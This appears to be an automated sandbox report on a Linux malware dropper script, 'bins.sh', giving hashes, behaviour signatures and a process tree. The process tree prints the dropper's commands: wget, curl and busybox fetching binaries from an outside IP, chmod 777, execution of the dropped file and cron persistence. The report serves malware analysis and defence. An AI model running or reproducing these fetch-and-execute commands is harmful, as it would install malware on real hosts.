Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 14:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    98ea8d25a8c60fccde5438d8bf5ba354

  • SHA1

    7a43e84359c15813811551a39082b6554f68aa4f

  • SHA256

    7d5ad7e7a8039897497a1455116d634fce3679e95c41f4d6cd41ec9ae5a5432a

  • SHA512

    f575df135fbcd30f422a6c454e83d15c7013d744655490a4f4212d4a322721a7e058cdb86ff42dce19219c470d03c971b2266aa40bd90ce6a91530c7f3dab1d7

  • SSDEEP

    192:w/R/1/Iz/zU1ubByo1JC7jUYg8X/Iobss4/R/1/Iz/zRbig8X/IoM1JC7jB:w5dkw1uyo1JC7jUYg8vIobO5dkIg8vIS

Malware Config

Signatures

  • Contacts a large (2198) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /bin/chmod
          chmod 777 PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • File and Directory Permissions Modification
          PID:1499
        • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          ./PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1500
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1502
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1503
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1504
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1505
              • /bin/rm
                rm PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
                2⤵
                  PID:1507
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
                  2⤵
                    PID:1510

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.mMfH5s

                  Filesize

                  210B

                  MD5

                  2e80a334e05aa20a53af27ec4be2403a

                  SHA1

                  ecb2d49803eaccad994536b0f0fbbdd7ffd31222

                  SHA256

                  8b47c5f544e3dcb7fc47b705475d4190fcedd3b1ee3703dec7617d42690b6a8e

                  SHA512

                  ce995d1b4cbc676c8f29a49df69c477762b07b008329f0abf5ec8e1cbfa88d0a185ee92b8d1cd8a223bde1d0c477c5b9cbcf442822ac5c73da44817ef44e3b17